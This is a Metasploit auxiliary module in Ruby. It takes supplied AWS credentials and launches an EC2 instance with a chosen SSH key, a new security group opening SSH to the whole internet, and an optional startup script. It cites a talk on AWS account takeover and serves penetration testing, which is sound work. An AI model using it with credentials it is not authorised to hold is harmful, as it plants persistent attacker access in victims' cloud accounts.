##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'metasploit/framework/aws/client'

class MetasploitModule < Msf::Auxiliary

  include Metasploit::Framework::Aws::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "Launches Hosts in AWS",
        'Description'    => %q{
          This module will attempt to launch an AWS instances (hosts) in EC2.
        },
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Javier Godinez <godinezj[at]gmail.com>',
        ],
        'References'     => [
          [ 'URL', 'https://drive.google.com/open?id=0B2Ka7F_6TetSNFdfbkI1cnJHUTQ'],
          [ 'URL', 'https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/4721/IDY-W10-DevSecOps-on-the-Offense-Automating-Amazon-Web-Services-Account-Takeover.pdf' ]
        ]
      )
    )
    register_options(
      [
        OptString.new('AccessKeyId', [true, 'AWS access key', '']),
        OptString.new('SecretAccessKey', [true, 'AWS secret key', '']),
        OptString.new('Token', [false, 'AWS session token', '']),
        OptString.new('RHOST', [true, 'AWS region specific EC2 endpoint', 'ec2.us-west-2.amazonaws.com']),
        OptString.new('Region', [true, 'The default region', 'us-west-2' ]),
        OptString.new("AMI_ID", [true, 'The Amazon Machine Image (AMI) ID', 'ami-1e299d7e']),
        OptString.new("KEY_NAME", [true, 'The SSH key to be used for ec2-user', 'admin']),
        OptString.new("SSH_PUB_KEY", [false, 'The public SSH key to be used for ec2-user, e.g., "ssh-rsa ABCDE..."', '']),
        OptString.new("USERDATA_FILE", [false, 'The script that will be executed on start', 'tools/modules/aws-aggregator-userdata.sh'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('RPORT', [true, 'AWS EC2 Endpoint TCP Port', 443]),
        OptBool.new('SSL', [true, 'AWS EC2 Endpoint SSL', true]),
        OptString.new('INSTANCE_TYPE', [true, 'The instance type', 'm3.medium']),
        OptString.new('ROLE_NAME', [false, 'The instance profile/role name', '']),
        OptString.new('VPC_ID', [false, 'The EC2 VPC ID', '']),
        OptString.new('SUBNET_ID', [false, 'The public subnet to use', '']),
        OptString.new('SEC_GROUP_ID', [false, 'The EC2 security group to use', '']),
        OptString.new('SEC_GROUP_CIDR', [true, 'EC2 security group network access CIDR', '0.0.0.0/0']),
        OptString.new('SEC_GROUP_PORT', [true, 'EC2 security group network access PORT', 'tcp:22']),
        OptString.new('SEC_GROUP_NAME', [false, 'Optional EC2 security group name', '']),
        OptInt.new('MaxCount', [true, 'Maximum number of instances to launch', 1]),
        OptInt.new('MinCount', [true, 'Minumum number of instances to launch', 1])
      ]
    )
    deregister_options('VHOST')
  end

  def run
    if datastore['AccessKeyId'].blank? || datastore['SecretAccessKey'].blank?
      print_error("Both AccessKeyId and SecretAccessKey are required")
      return
    end
    # setup creds for making IAM API calls
    creds = {
      'AccessKeyId' => datastore['AccessKeyId'],
      'SecretAccessKey' => datastore['SecretAccessKey']
    }
    creds['Token'] = datastore['Token'] unless datastore['Token'].blank?

    create_keypair(creds) unless datastore['SSH_PUB_KEY'].blank?
    vpc = datastore['VPC_ID'].blank? ? vpc(creds) : datastore['VPC_ID']
    sg = datastore['SEC_GROUP_ID'].blank? ? create_sg(creds, vpc) : datastore['SEC_GROUP_ID']
    subnet = datastore['SUBNET_ID'].blank? ? pub_subnet(creds, vpc) : datastore['SUBNET_ID']
    unless subnet
      print_error("Could not find a public subnet, please provide one")
      return
    end
    instance_id = launch_instance(creds, subnet, sg)
    action = 'DescribeInstances'
    doc = call_ec2(creds, 'Action' => action, 'InstanceId.1' => instance_id)
    doc = print_results(doc, action)
    begin
      # need a better parser so we can avoid shit like this
      ip = doc['reservationSet']['item']['instancesSet']['item']['networkInterfaceSet']['item']['privateIpAddressesSet']['item']['association']['publicIp']
      print_status("Instance #{instance_id} has IP adrress #{ip}")
    rescue NoMethodError
      print_error("Could not retrieve instance IP address")
    end
  end

  def opts(action, subnet, sg)
    opts = {
      'Action' => action,
      'ImageId' => datastore['AMI_ID'],
      'KeyName' => datastore['KEY_NAME'],
      'InstanceType' => datastore['INSTANCE_TYPE'],
      'NetworkInterface.1.SubnetId' => subnet,
      'NetworkInterface.1.SecurityGroupId.1' => sg,
      'MinCount' => datastore['MinCount'].to_s,
      'MaxCount' => datastore['MaxCount'].to_s,
      'NetworkInterface.1.AssociatePublicIpAddress' => 'true',
      'NetworkInterface.1.DeviceIndex' => '0'
    }
    opts['IamInstanceProfile.Name'] = datastore['ROLE_NAME'] unless datastore['ROLE_NAME'].blank?
    unless datastore['USERDATA_FILE'].blank?
      if File.exist?(datastore['USERDATA_FILE'])
        opts['UserData'] = URI.encode(Base64.encode64(open(datastore['USERDATA_FILE'], 'r').read).strip)
      else
        print_error("Could not open userdata file: #{datastore['USERDATA_FILE']}")
      end
    end
    opts
  end

  def launch_instance(creds, subnet, sg)
    action = 'RunInstances'
    print_status("Launching instance(s) in #{datastore['Region']}, AMI: #{datastore['AMI_ID']}, key pair name: #{datastore['KEY_NAME']}, security group: #{sg}, subnet ID: #{subnet}")
    doc = call_ec2(creds, opts(action, subnet, sg))
    doc = print_results(doc, action)
    return if doc.nil?
    # TODO: account for multiple instances
    if doc['instancesSet']['item'].instance_of?(Array)
      instance_id = doc['instancesSet']['item'].first['instanceId']
    else
      instance_id = doc['instancesSet']['item']['instanceId']
    end
    print_status("Launched instance #{instance_id} in #{datastore['Region']} account #{doc['ownerId']}")
    action = 'DescribeInstanceStatus'
    loop do
      sleep(15)
      doc = call_ec2(creds, 'Action' => action, 'InstanceId' => instance_id)
      doc = print_results(doc, action)
      if doc ['instanceStatusSet'].nil?
        print_error("Error, could not get instance status, instance possibly terminated")
        break
      end
      status = doc['instanceStatusSet']['item']['systemStatus']['status']
      print_status("instance #{instance_id} status: #{status}")
      break if status == 'ok' || status != 'initializing'
    end
    instance_id
  end

  def create_keypair(creds)
    action = 'ImportKeyPair'
    doc = call_ec2(creds, 'Action' => action, 'KeyName' => datastore['KEY_NAME'], 'PublicKeyMaterial' => Rex::Text.encode_base64(datastore['SSH_PUB_KEY']))
    if doc['Response'].nil?
      doc = print_results(doc, action)
      if doc['keyName'].nil? || doc['keyFingerprint'].nil?
        print_error("Error creating key using privided key material (SSH_PUB_KEY)")
      else
        print_status("Created #{doc['keyName']} (#{doc['keyFingerprint']})")
      end
    else
      if doc['Response']['Errors'] && doc['Response']['Errors']['Error']
        print_error(doc['Response']['Errors']['Error']['Message'])
      else
        print_error("Error creating key using privided key material (SSH_PUB_KEY)")
      end
    end
  end

  def pub_subnet(creds, vpc_id)
    # First look for subnets that are configured to provision a public IP when instances are launched
    action = 'DescribeSubnets'
    doc = call_ec2(creds, 'Action' => action)
    doc = print_results(doc, action)
    vpc_subnets = doc['subnetSet']['item'].select { |x| x['vpcId'] == vpc_id }
    pub_subnets = vpc_subnets.select { |x| x['mapPublicIpOnLaunch'] == 'true' }
    return pub_subnets.first['subnetId'] if pub_subnets.count > 0

    # Second, try to retrieve public subnet id by looking through route tables to find subnets
    # associated with an Internet gateway
    action = 'DescribeRouteTables'
    doc = call_ec2(creds, 'Action' => action)
    doc = print_results(doc, action)
    vpc_route_table = doc['routeTableSet']['item'].select { |x| x['vpcId'] == vpc_id }
    vpc_route_table.each do |route_table|
      next if route_table['associationSet'].nil? || route_table['routeSet'].nil?
      entries = route_table['routeSet']['item']
      if entries.instance_of?(Hash)
        if entries['gatewayId'].start_with?('igw-')
          return route_table['associationSet']['item'].first['subnetId']
        end
      else
        route_table['routeSet']['item'].each do |route|
          if route['gatewayId'] && route['gatewayId'].start_with?('igw-')
            return route_table['associationSet']['item'].first['subnetId']
          end
        end
      end
    end
    nil
  end

  def create_sg(creds, vpc_id)
    name = Rex::Text.rand_text_alphanumeric(8)
    action = 'CreateSecurityGroup'
    doc = call_ec2(creds, 'Action' => action, 'GroupName' => name, 'VpcId' => vpc_id, 'GroupDescription' => name)
    doc = print_results(doc, action)
    print_error("Could not create SG") && return if doc['groupId'].nil?
    sg = doc['groupId']
    proto, port = datastore['SEC_GROUP_PORT'].split(':')
    cidr = URI.encode(datastore['SEC_GROUP_CIDR'])
    action = 'AuthorizeSecurityGroupIngress'
    doc = call_ec2(creds, 'Action' => action,
                          'IpPermissions.1.IpRanges.1.CidrIp' => cidr,
                          'IpPermissions.1.IpProtocol' => proto,
                          'IpPermissions.1.FromPort' => port,
                          'IpPermissions.1.ToPort' => port,
                          'GroupId' => sg)
    doc = print_results(doc, action)
    if doc['return'] && doc['return'] == 'true'
      print_status("Created security group: #{sg}")
    else
      print_error("Failed creating security group")
    end
    sg
  end

  def vpc(creds)
    action = 'DescribeVpcs'
    doc = call_ec2(creds, 'Action' => action)
    doc = print_results(doc, action)
    if doc['vpcSet'].nil? || doc['vpcSet']['item'].nil?
      print_error("Could not determine VPC ID for #{datastore['AccessKeyId']} in #{datastore['RHOST']}")
      return nil
    end
    item = doc['vpcSet']['item']
    return item['vpcId'] if item.instance_of?(Hash)
    return item.first['vpcId'] if item.instance_of?(Array) && !item.first['vpcId'].nil?
    print_error("Could not determine VPC ID for #{datastore['AccessKeyId']} in #{datastore['RHOST']}")
    nil
  end
end
